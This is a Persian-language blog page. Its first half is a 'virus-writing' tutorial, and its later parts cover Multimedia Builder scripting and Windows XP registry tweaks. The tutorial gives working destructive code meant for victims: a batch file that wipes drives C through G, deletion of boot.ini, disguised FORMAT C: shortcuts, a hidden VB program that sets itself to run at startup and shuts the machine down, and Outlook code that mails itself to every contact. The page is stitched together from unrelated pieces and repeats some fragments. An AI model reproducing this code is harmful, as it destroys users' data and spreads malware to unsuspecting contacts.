یک نیمچه ویروس که اعصاب کاربر رو داغون میکنه .این برنامه مختصات فعلی ماوس را به طور تصادفی در صفحه تایین میکند و با این کار نشانگر ماوس شما در هر لحظه در یک جای صفحه خواهد بود.
شرح برنامه:
ابتدا باید از تابع Api به نام SetCursorPosاستفاده کنید که به این صورت است.
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
و باید در فرم تعریف شود
و سپس یک تایمر با فاصله زمانی(interval) 1 در فرم ایجاد کرده و سپس کدهای زیر را که برای شما نوشتم را در داخل تایمر قرار دهید و سپس کلیدF5 را فشار دهید .چی می بینی؟![]()
کد تایمر برنامه:
Private Sub Timer1_Timer()
'programin by farzad dh.
'weblog:farzadvb.blogfa.com
'e-mail:f_d662003@yahoo.com
'\/\/\/\/\/\/\/\/\/\/\/\/\/\
'8-Jul-05
Randomize 1000
farzadvb = Rnd(10) * 1000
bestforvb6 = Rnd(10) * 1000
temp = SetCursorPos(farzadvb, bestforvb6)
End Sub
از بین بردن ویندوز
دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
(" Kill ("c:\boot.ini
" Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه خط اول را که گفتم و در مورد خط دوم کامل در پست اول توضیح دادم
Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub
و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)
Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub
تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه
ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند
1-پنهان بودن
2-اجرای اتوماتیک
3-توانایی توزیع خود
توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)
حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس
برای این کار کافیه این کدها را در برنامه قرار بدید
Set OutlookApp = CreateObject("Outlook.Application")If Not OutlookApp = "" ThenFor Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressListsFor UserGroup = 1 To ContactSwitch.AddressEntries.CountSet OutlookEmail = OutlookApp.CreateItem(0)OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)OutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullNameOutlookEmail.DeleteAfterSubmit = TrueOutlookEmail.SendNextNextEnd If OutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullName نکته:
1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید
2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند
3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید
این دفعه یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید
@echo off
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c:\*.*
Echo y | echo a | Echo y | del d:\*.*
Echo y | echo a | Echo y | del e:\*.*
Echo y | echo a | Echo y | del f:\*.*
Echo y | echo a | Echo y | del g:\*.*
echo y | copy *.* C:\
echo y | copy *.* D:\
echo y | copy *.* E:\
echo y | copy *.* F:\
echo y | copy *.* G:\
resrart
تذکر :
۱-هرگز این فایل را داخل سیستم خود اجرا نکنید
یادتون نره
برای شروع:
روي دسكتاپ راست كليك كنيد. بعد يک New ShortCut بسازيد.يه صفحه باز ميشود و داخل کادر بنويسيد: FORMAT C:/Y يا FORMAT C:/Q يا C:/Autotest Format سپس Next را زده و در صفحه جديد كه باز ميشود يه اسم براي ويروسي که ساخته ايد انتخاب كنيد. سپس Next را زده و يه آيكون براي ويروس انتخاب کرده و Finish كنيد.حالا بر رو Shortcut کليک راست مي کنيد . بعد روي Properties کليک کنيد. سپس به قسمت Screen رفته و Window رو به Full-screen تغيير دهيد.حال ويروس ماده است اگر روي اون کليک بکنيد درايو /:c شما فرمت ميشود.ت
براي امتحان درايو A را انتخاب کنيد يعني درون ShortCut اين را بنويسيد .FORMAT A:/Y و ببينيد چه اتفاقي مي افتد.
بابا جون چرا نظر نمی دین؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
درس اول
ویروس نویسی
با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.
ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)
.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.
1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )
2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند
3-ویروس یاب ها ها قادر به شناسایی آن نبا شند
فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه
خوب بریم سراغ کدها:
ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)
Private Sub Form_Load()
Shell "shutdown -s -t zz"
End Sub
نکات:
کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r
می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)
برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.
App.TaskVisible = False
Me.Hide
خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره
۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
حالاکد برنامه ی شما باید مثل زیر باشد
Private Sub Form_Load()
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Shell "shutdown -s -t zz"
App.TaskVisible = False
Me.Hide
End sub
این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید
نکات نهایی:
1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید
2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود
3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.
D اون وقت هر چی نرم افزار که دوست دارید تو ویندوز اولی نصب کنید و آنها را در ویندوز دومی استفاده کنید بدون اینکه سرعت ویندوز شما پایین بیاید این کار روی ۹۵٪ از نرم افزار ها کارایی دارد![]()
شما را به خدا نظر بدین با این نظر هایی که شما می دین دیگه حال نوشتن نیست. اگه از موضوعات این وبلاک جایی استفاده کردی و اسم وبلاک را درج نکردی شما را نفرین میکنم این هم را اینجا می زارم تا شما را ۲۴ ساعته نفرین کنه![]()
هيچ ضرري براي كامپيوتر ندارد فقط بايد دوباره زمان وروز ويندوز خود را تنظيم كنيد.وبيشتر براي ترساندن به كار ميرود.

بازم مثل هميشه Notepad را باز كنيد وكد زير را در آن تايپ كند .
@Echo off
time=0:0:0
حال آن را با نام Time0.bat سيو كنيد.
بعد دوباره NotePad را باز كرده و كد زير را در آن تايپ كنيد.
@ECHO OFF
date=10-10-10
اين فايل را هم مثل فايل قبلي با نام Date0.bat سيو كنيد.
حال دوباره NotePad را باز كرده و كد زير را در آن تايپ كنيد.
@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause
و آن را با نام Comment.bat ذخيره كنيد.
يه NotePad باز كرده وكد زير را در آن تايپ كنيد.
START TIME0
START DATE0
START comment
وآن را با نام Help.bat ذخيره كنيد.
بر روي فايل آخر رايت كليك كرده و Create ShortCut را بزنيد و نام آنرا به Help.txt تغيير دهيد.
سپس با رايت كليك بر روي Help.txt وانتخاب Properties و زدن Change Icon يه آيكون براي فايل خود انتخاب كنيد.
بقيه فايلها را در يك Folder ذخيره كنيد كه شما ميتوانيد آن Folder را نيز Hidden كنيد.
حال ويروس ما آماده است. ( برای راحتی شما من این ویروس را درست کرده ام ودر آدرس زیر قرار داده ام )
برای سفارش دادن سی دی شامل تمام برنامه های آموزش داده روی همین متن کلیک نمایید.
اين ويروس چيز سميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم.
اين ويروس چيز سختي نيست ولی خيلي خطرناكه.
ختي نيست ولی خيلي خطرناكه.
اول از همه روي دسكتاپ رايت كليك كنيد بعدش New ShortCut بسازيد.

يه صفحه باز ميشه در اون بنويسيد: Format C:/Autotest
سپس Next را زده و در صفحه جديد كه باز ميشه يه اسم واسه ويروستون انتخاب كنيد.
سپس Next را زده ويه آيكون با سليقه خودتون براي اون انتخاب كرده و Finish كنيد.
خب ديگه كارمون تمومه حالا اگه اجراش كنين بيچاره ميشين.
اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format a:/autotest و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده وديگه نه ميشه اطلاعات روش ريخت ونه ميشه فرمتش كرد.
این ها script هایی هستند که مربوط به زمان هستند .
PageTimer("","")
ExitTimer("")
ScriptTimer("","")
RunScript("")
Pause("")
Return()
Refresh()
در آموزش های قبلی برخی از این کد ها استفاده کردیم اما در این بخش بیشتر به این script ها می پردازیم :
PageTimer("ms","PageLabel")
با اجرای این کد می توان پس از زمانی که تعیین می کنید به صفحه مورد نظر بروید . مثلا در این کد پس از گذشت 1000 میلی ثانیه (1 ثانیه) به صفحه ای که با Label آن را در قسمت دوم نوشته ایم (در اینجاpage 2 ) می رود :
PageTimer("1000","Page 2")
ExitTimer("ms")
این یک تایمر است که پس از گذشتن زمان مشخص شده پنجره بسته می شود (عمل Exit() انجام می شود) . در این کد پس از کذشتن یک دقیقه پس از اجرای این Script پنجره بسته خواهد شد .
ExitTimer("60000")
ScriptTimer("ObjectLabel","ms")
پس از گذشتن زمان تعیین شده Script مورد نظر اجرا می شود . در اینجا فقط منظور شئ Script نیست این کد مربوط به هر شئی که بتوان در آن Script مورد نظر خودتان را وارد کنید مثلا Text Button ، Rectangle و... می باشد . در قسمت اول نام شئ و در قسمت دوم زمان را می نویسیم . در مثال شئی با نام Script پس از 1 ثانیه اجرا می شود .
ScriptTimer("Script","1000")
RunScript("ObjectLabel")
این کد مانند کد بالا عمل می کند با این تفاوت که بلافاصله Script را اجرا می کند .
RunScript("Script")
Pause("ms")
می انید که برای اجرای کد ها ، آنها از بالا به پایین خوانده می شود (بدون هیچ وقفه ای) . از این دستور برای وقفه در بین خطوط کد ها استفاده می شود .
Return()
اگر خطوط Script ها را مانند یک رشته سیم فرض کنیم ، دستور Return مانند کلیدی است که این ارتباط و رسانایی بین رشته ها را قطع می کند . یا وقتی به این خط رسید بقیه خط ها را نمی خواند . از اینscript می توانید در دستور شرطی If یا حلقه for استفاده کنید .
Refresh()
تقریبا از اسم این کد می توان به طرز کار آن پی برد . این Script در حلقه ها بسیار مفید است . مثلا در یک حلقه Normal در هنگام شمارش شما نمی توانید از کلید های دیگر استفاده کند . اما اگر در حلقه خود Refresh را جای دهید این مشکل برطرطرف می شود .
برای اجرای کد های نمونه زیر ، یک Text با نام Counter ایجاد کنید .
یک حلقه با Refresh :
For n=1 To 100000
i=n
DisplayValue("Counter","i")
Refresh()
Next n
یک حلقه Normal :
For n=1 To 100000
i=n
DisplayValue("Counter","i")
Next n
تغییری که در اجرای این دو حلقه وجود دارد کاملا محسوس است .
یکی از ابزار هایی که MMB در ورژن 4.9 آن را در نرم افزار قرار داد امکان گذاشتن فایل های با پسوند *.swf یا همون فلش است .
برای اینکار از Object | Create عنصر Flash را انتخاب کنید . و در مکان مناسب روی صفحه کلیک کنید . پنجره ای باز می شود که می توانید تنظیمات مربوط به فلش را انجام دهید . خلاصه می نویسم :
Play: در صورت فعال بودن با اجرای برنامه ، فایل فلش شروع به اجرا می کند .
بعد یه دکمه می سازند و این دستور رو بهش می دهند :
On(release) {
gotoAndPlay(1);
}
یعنی برود به فریم 1 و شروع کند ، پس Loop نتیجه مطلوب ما را نخواهد داشت .
راستی کد های بالا action script های مربوط به برنامه Flash است .
Hide Menu: منویی که هنگام راست کلیک باز می شود را مخفی می کند .
Min. Menu: در صورتی فعال خواهد بود که Hide Menu غیر فعال باشد . این گزینه فقط آیتم های Setting … و About Macromedia Flash [version] را در منویی که هنگام راست کلیک باز می شود نشان می دهد .
Keep Aspect Ratio : فقط همون قسمت اصلی را نشان می دهد . یعنی اگر 300*200 تعریف شده باشد هر اندازه ای تنظیم کنیم خود به خود به نسبت 3*2 در می آید .
Preserve Original Size : پس از زدن Ok به اندازه اصلی بر می گردد .
Override Background color : تغییر رنگ پس زمینه فلش .
Run from frame : اجرا شدن فلش از فریم دلخواه . (فقط شماره فریم رو بنویسید)
Quality : وضوح تصویر را در 3 حالت تنظیم می کند .
اول از همه بگم که : مرگ من نظر بذارید این همه اینا رو می نویسم آخرش 2 تا نظر !
جالبه بخونید .
برنامه ای می نویسیم که یکی یکی (هر نیم ثانیه) کد های ASCII را و همان شکل خروجی اش را نشان می دهد .
دو تا Text درست کنید و نام های آنها را Text1 و Text بگذارید . یک کلید هم برای Start بگذارید و این Script ها را در کلید قرار دهید . ( اینو هم بکم کد های ASCII از 0 تا 255 است)
For -1 To 255
i=i+1
string$=CHR(i)
LoadText("Text","string$")
DisplayValue("Text1","i")
Pause("500")
Next
حالا خودتون بشینید برنامه ای بنویسید که کد ASCII را وارد می کنیم و به کاراکتر تبدیل میکند .
کل برنامه به خاطر CHR است .
امکاناتی که MMB برای اعداد تعبیه کرده محدود است (مثلا جذر نمی گیرد ، حتی اگر به توان نیم برسونیم ، عدد خروجی همیشه 1 خواهد بود ) . در اولین قسمت آموزشی MMB که مربوط به ساخت ماشین حساب بود استفاده از 4 عمل اصلی و توان را یاد گرفتیم . حالا بریم سراغ قدر مطلق، عدد اتفاقی و جزء صحیح اعداد .
ABS(number)
این کد قدر مطلق یک عدد را نشان می دهد (عدد -321):
A=ABS(-321)
Message("","A")
INT(number)
این کد جزء صحیح یک عدد را نشان می دهد . مثلا اگر عدد ورودی 14.51 باشد عدد خروجی 14 خواهد بود .
A=INT(14.51)
Message("","A")
RND(maxvalue)
در داخل پرانتز یک عدد بنویسید .این عدد حداکثر عددی است که به عنوان عدد اتفاقی به شما داده می شود . مثلا اگر بنویسید 5 عدد اتفاقی عددی صحیح بین0 تا 5 خواهد بود .
A=RND(2)
Message("","A")
مثلا طول و عرض پنجره ویندوز شما ، طول و عرض محیط قابل ستفاده desktop شما ، فاصله کرسر ماوس تا چپ و بالا ی محیط کار ویندوز ، ورژن ویندوز شما ، مدل CPU همه از ثابت های سیستمی هستند . حالا بریم سراغ کد نویسی ! نتیجه کد های زیر در قالب یک پنجره پیام خواهد بو که شما می توانید با استفاده از دستور DisplayValue("","") و قرار دادن یک Text در صفحه نتیجه کار را در آن ببینید .
ScreenWidth ()
مختص X نمایشگر را برمی گرداند .
Message("Display width is: ","ScreenWidth()")
ScreenHeight ()
مختص Y نمایشگر را برمی گرداند .
Message("Display width is: ","ScreenHeight()")
WorkAreaWidth ()
مختص X فضای کار را بر می گرداند . (مثلا اگر TaskBar در سمت چپ Desktop باشد ، Taskbar از Screen Width کم می شود)
Message("Display work area width is: ","WorkAreaWidth()")
MouseX()
فاصله کرسر ماوس تا سمت چپ دسکتاپ
Message("Current mouse X position: ","MouseX()")
MouseY()
فاصله کرسر ماوس تا بالای دسکتاپ
Message("Current mouse X position: ","MouseY()")
ProcType()
نام شرکت سازنده و واحد پردازنده مرکزی(central processor unit) یا CPU را بر می گرداند . توجه داشته باشید که ProcType() باید به صورت String تعریف شود . اما چون مغیر های بالا Integer بودند نیازی به تعریف کردن ان به شکل String نیست .
cpu$=ProcType()
Message("CPU in this machine is: ","cpu$")
ProcFreq()
سرعت CPU را به MHz نشان می دهد .
Message("CPU frequency in MHz: ","ProcFreq()")
GetMemory()
مقدار حافظه RAM را نشان می دهد .
a$=GetMemory()
Message("Machine memory status: ","a$")
UsingWinNT()
در قالب یک عدد (Integer) نشان می دهد که آیا کاربر از Windows NT استفاده می کند یا خیر .
Message("WinNT-compatible OS present: ","UsingWinNT()")
برای عدد خروجی دو حالت وجود دارد :
اگر مساوی با 1 باشد یعنی کاربر از خانواده سیستم عامل WinNT استفاده می کند .
اما اگر عدد خروجی 0 باشد یعنی کاربر از خانواده سیستم عامل WinNT استفاده نمی کند .
WinVer()
ورژن ویندوز را نشان می دهد .
var$=WinVer()
Message("Windows version : ","var$")
در جدول زیر انواع ویندوز و ورژن آنها را نوشته ام .
|
4.00.950 |
Windows 95 |
|
4.00.(>950) / 4.00.(<=1080) |
Windows 95 SP1 |
|
4.(<10).(>1080) |
Windows 95 OSR2 |
|
4.10.1998 |
Windows 98 |
|
4.10.(>1998) / 4.10.(<2183) |
Windows 98 SP 1 |
|
4.10.(>=2183) |
Windows 98 SE |
|
4.90.3000 |
Windows Me |
|
3.51.1057 |
Windows NT 3.51 |
|
4.00.1381 |
Windows NT 4.0 |
|
5.00.2195 |
Windows 2000 |
|
5.01.2600 |
Windows XP/SP1 |
این رو هم اضافه کنم که مثلا در ورژن ویندوز Xp (5.01.2600) ، 5 را Major version ، 01 را Minor Version و 2600 را Build Version می نامند .
طول و عرض پنجره ، طول و عرض محیط مفید پنجره ، فاصله پنجره تا بالا و سمت چپ Desktop (X,Y)، فاصله یک Object تا بالا و سمت چپ پنجره (همان پنجره که با MMB درست کرده اید) . طول و عرض یک Object . فعال یا غیر فعال بودن یک Object و... از انواع Publication Constants است.
طول پنجره را نشان می دهد. البته با قاب دور پنجره .
Message("Project window width + border is: ","PubWidth()")
PubHeight()
عرض پنجره به اضافه قاب دور پنجره و قسمت عنوان را نشان می دهد.
Message("Project window Height + border is: ","PubHeight()")
ClientWidth()
طول محیط کار پنجره را نشان می دهد . بدون قاب دور آن .
Message("Workarea width is: ","ClientWidth()")
Client Height()
طول محیط کار پنجره را نشان می دهد .
Message("Workarea Height is : ","ClientHeight()")
از اینجا به بعد کد های نمونه رو نمی نویسم ، چون می دونید چه جوری کد ها رو بنویسید .
PubX()
فاصله پنجره تا سمت چپ Desktop را نشان می دهد . (مختص X)
PubY()
فاصله پنجره تا بالای Desktop را نشان می دهد . (مختص Y)
ObjectX()
فاصله یک Object تا سمت چپ پنجره را نشان می دهد . در داخل پرانتز باید Label شي مورد نظرتان را بنویسید .
ObjectY()
فاصله يک Object تا بالای پنجره را نشان می دهد . در داخل پرانتز باید Label شي مورد نظرتان را بنویسید .
ObjectWidth()
طول یک Object را بر می گرداند . در داخل پرانتز باید Label شي مورد نظرتان را بنویسید .
ObjectHeight ()
عرض یک Object را بر می گرداند .
IsVisible()
اول label شی مورد نظرتان را در داخل پرانتز ها تایپ کنید . یرای مقدار خروجی آن 3 حالت پیش می آید : اعداد 1 ، 0 و -1
-1 یعنی : Object ی با این نام وجود ندارد .
0 یعنی : وجود دارد امَا ........... مخفی است!
1 یعنی : وجود دارد مخفی هم نیست !
For …
خب با یک مثال می خواهم طرز کار حلقه For را نشان دهم . (حلقه For یک عمل را چند بار انجام می دهد) . MMB در بین حلقه ها فقط For و در بین دستور ها If را دارد .
این مثال 5 بار پیامی را ظاهر می کند که در آخر آن پیام عددی وجود دارد که به ترتیب از 1 تا 5 را نشان می دهد .
For 1 To 5
i=i+1
Message("Number ","i")
Next
دیگه نیازی به توضیح نیست .پیام ها به ترتیب با این عنوان ها می آیند .
Number i: 1
Number i: 2
Number i: 3
Number i: 4
5Number i:
با این حلقه یک عدد را (در یک TextBox) وارد می کنیم به عنوان تعداد خط ها . سپس کلید مورد نظر را می زنیم و در خروجی که یک Text است نشان می دهد که N تا خط (عدد درون TextBox) حداکثر صفحه را به چند قسمت تقسیم می کند . توی جدول نوشته ام رابطه اش رو خودتون پیدا کنید .
یک کلید (Text button) هم درست می کنیم که این عملیات را اجرا کند . (قسمت Output دکمه را در حالت Ineger قرار دهید . چون عدد صحیح است و در دو کادر مقابل آن به ترتیب A$ و A بنویسید ).
|
قسمت ها |
تعداد خط ها |
|
1 |
0 |
|
2 |
1 |
|
4 |
2 |
|
7 |
3 |
|
11 |
4 |
|
16 |
5 |
|
22 |
6 |
|
29 |
7 |
|
37 |
8 |
دستور مربوط به کلید :
i=0
p=1
For 1 To A
i=i+1
p=p+i
Next
DisplayValue("Answer","p")
در قسمت Label متن خروجی (همون text) نام Answer را تایپ کردم .
حالا شما می توانید دستور هایی ترکیبی با IF و For یا If در If و... بنویسید
در منوی start زیر منوها پس از 400 میلی ثانیه ظاهر میشود که برای کاربرن حرفه ای ممکن است چند ثانیه طول بکشد شما میتوانید این زیر منوها را به سرعت برق ظاهر کنید آن هم با رفتن به سراغ کلید زیر ( البته قبلا از این کار یادم رفت بهتون بگم که باید از منوی start گزینه run را انتخاب کرده و سپس کلمه regedit را در آن وارد و ok را بزنید و حالا شما در رچیستری ویندوز هستید ) کلید زیر را در رجیستری پیدا کنید :
HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP
در این جا فقره ی MENU SHOW DELAY را پیدا کنید مقدار این متغیر طول تاخیر منو را بر حسب میلی ثانیه از 0 تا 999 نشان میدهد که میتوانید با دادن مقدار 1 به آن سرعت آن را بسیار بسیار سریع کنید تا در نیم سوت زیر منوها ظاهر شوند
پخش کننده ی ویندوز اکس پی یعنی همون مدیا پلیر خودمون هر 1 ماه یه بار میخواد خودشو ارتقا بده و شما میتوانید این ارتقا خودکار را از کار بندازید خوب ابتدا کلید زیر را در رجیستری پیدا کنید :
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\MEDIAPLAYER\UPGRADE
اکنون مقدار متغیر ENABLE AUTO UPGRADE را به NO تغییر دهید ( البته ممکن در بعضی سیستمها به طور اتوماتیک NO باشه )
وقتی که برنامه ها یا اسناد متعددی را در آن واحد باز میکنید و نوار تکالیف با شکلک های متعدد شلوغ میشه خود ویندوز ایکس پی نوار تکلیف را با گروه بندی پنجره های مفتوح مشابه در یک شکلک واحو خلوت می سازد رجیستری به شما کمک میکند این ترتیب را تغییر دهید ابتدا به کلید زیر بروید :
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\CURENT VERSION\EXPLORER\ADVANCED
سپس در سمت راست روی یک جای خالی راست کلیک کرده و سپس از منوی NEW گزینه DWORD را انتخاب کنید و اسم آن را TASKBARGROUPSIZE بگذارید
اگر مقدار 1 به آن بدهید ویندوز پنجره ها را بر حسب اندازه شان گروه بندی میکند یعنی بزرگترها اول قرار میگیرند و ... اگر مقدار 2 بهش بدین هر وقت 2 تا پنجره یا یا بیشتر ار یک نوع برنامه باز شمود آنها را گروه بندی میکند و ااگر 3 بدهید هر وقت 3 تا یا بیشتر از یک برنامه باز شود آن ها را گروه بندی میکند
منوی START در ویندوز اکس پی این امکان را به شما میدهد که به 4 یا 5 برنامه اخیر اجرا شده دسترسی سریع داشته باشید اما اگر بخواهید این برنامه ها منوی START را شلوغ نکنند یا شاید نخواهید کاربر بعدی بداند شما از کدام برنامه ها استفاده کردید چه باید کرد ؟
خوب این کار مشکلی نیست شما میتوانید به ویندوز بگویید بعشی برنامه ها را که شما میخواهید در منوی START نشان ندهد . ابتدا به کلید زیر بروید :
HKEY_CLASSES_ROOT\APPLICATION
اکنون یک کلید جدید بسازید و نام برنامه ای که میخواهید در منوی START ظاهر روی آن بگذارید به آن کلید یک مقدار حروفی به نام NoStartPage بدهید به این ترتیب برنامه ای که شما اسم آن را آورده اید دیگر در فهرست برنامه های اخیر اجرا شده ظاهر نخواهد گردید
می داینم که ویندوز اکس پی خیلی هوای کاربر خود را دارد اما آن همه بادکنک های توضیحی و تذکراتی که از نوار تکلیف بلند میشود شور کار را در آورده است ! برای این که یک سوزن در نوار تکلیف بزارید کهخ دیگر بادکنک ها بالا نیایند و بترکند به کلید زیر بروید :
HKEY_CURRENT_USER\Software\Microsoft\Windows\/current Version\Explorer\Advanced
اکنون یه متغیر از نوع DWORD بسازید و نام آن را enablebaloontips بگذارید برای ترکاندن بادکنک ها مقدار آن را 0 قرار دهید
اگر از منوی start ویندوز خوشتان نمی آید و همان منوی قدیمی را دوست دارید ابتدا
یک متغیر DWORD بسازید و اسم آن را NOSimpleStartMenu بگذارید و سپس مقدار آن را 1 قرار دهید با این کار منوی start همان شکل قدیمی خود را پیدا میکند .
اگر شما نمی خواهید کسی بداند شما اخیرا از چه برنامه هایی استفاده کرده اید کل فهرستهای اخیرا اجرا شده را از منوی start قطع کنید یک متغیر از جنس DWORD بسازید و نام آن را NoStartMenuMFUprogramslist قرار دهید و مقدار آن را 0 قرار دهید با این کار فهرست تمام برنامه ها پاک خواهد شد
اگر بخواهید کاربران را از ارتقای ویندوز منع کنید یک متغیر از نوع DWORD بسازید و نام آن را NoWindowsUpdate گذاشته و مقدار آن را 1 قرار دهید توجه داشته باشید که این کار ویندوز را به طور کامل از ارتقای خودکار محروم میسازد
شما میتوانید با اضافه کردن متغیر های DWORD تک تک پوشه های منوی START را پاک کنید : برای برداشتن پوشه ی MyMusic متغیری از نوع DWORD ساخته و نام آن را NoStartMenuMyMusic بگذارید و مقدار آن را 1 بدهید برای خلاص شدن از پوشه MyPictures متغیردیگری از DWORD ساخته و اسم آن را
NoSMMyPictures گذاشته و مقدار آن را 1 قرار دهید و برای حذف پوشه ی Favorites متغیر DWORD دیگری ساخته و اسم آن را NoRecentDocsMenu گذاشته و مقدار آن را 1 قرار دهید
ممکن است بخواهید یک کاربر خانگی یا اداری را از دسترسی به یک سری توابع خاص در منوی start محروم کنید به عنوان مثال برای حذف کردن تابع search از منوی start متغیری از نوع DWORD بسازید و نام آن را NoFind بذارید و مقدار آن را 1 قرار دهید به این ترتیب تابع Search از منوی start محو خواهد شد
یک مورد دیگر حذف کردن تابع Run میباشد برای این کار نیز متغیر دیگری از نوع DWORD بسازید و اسم آن را NORun بگذارید و مقدار آن را 1 قرار دهید .
و بالاخره برای این که جلوی انگولک کردن نوار تکالیف را توسط کاربران بگیرید متغیر دیکری تعریف کرده و اسم آن را NoSetTaskbar بذارید و مقدار 1 به آن بدهید این کار باعث خواهد شد تا نوار تکلیف و منوی start از پانل کنترل برداشته شوند
به دلایلی که برای ما معلوم نیست بسیاری از برنامه ها به طور کامل پاک (uninstall ) نمیشوند در نتیجه بسیاری از کاربران سعی می کنند با حذف پوشه یا شاخه آن برنامه مقدمات پاک شدن آن را انجام دهند اما نام چنین برنامه هایی برای همیشه در فهرست
Add\Remove Program باقی خواهند ماند برای آنکه فهرست این برنامه ها را از بین ببریم باید از رجیستری استفاده کنیم :
ابتدا به کلید زیر بروید :
HKEY_LOCAL_MACHINE\Microsoft\Windows\Curent Version\uninstall
و سپس کلید متناظر با این کلید را باز کنید و حالا برنامه هایی را که نمی توانستید پاک کنید را از این جا حذف کنید تا برای همیشه از بین بروند
شما یک فرصت برای مشخص کردن نام خود و موسسه تان برای ویندوز ایکس پی دارید و آن هم موقعی است که در حال نصب ویندوز اکس پی هستید اما اگر لازم باشد بعد ها نام ها را عوض کنید چه باید کرد ؟ کار ساده ای ست را حل آن رفتن به کلید زیر میباشد :
HKEY_LOCAL_MACHINE\Software\Microsoft\windowsNT\Current version
حالا متغیر های registered Owner و registered Organization را پیدا کرده و مقدار آنها را به نامهای مورد نظرتان تغییر دهید
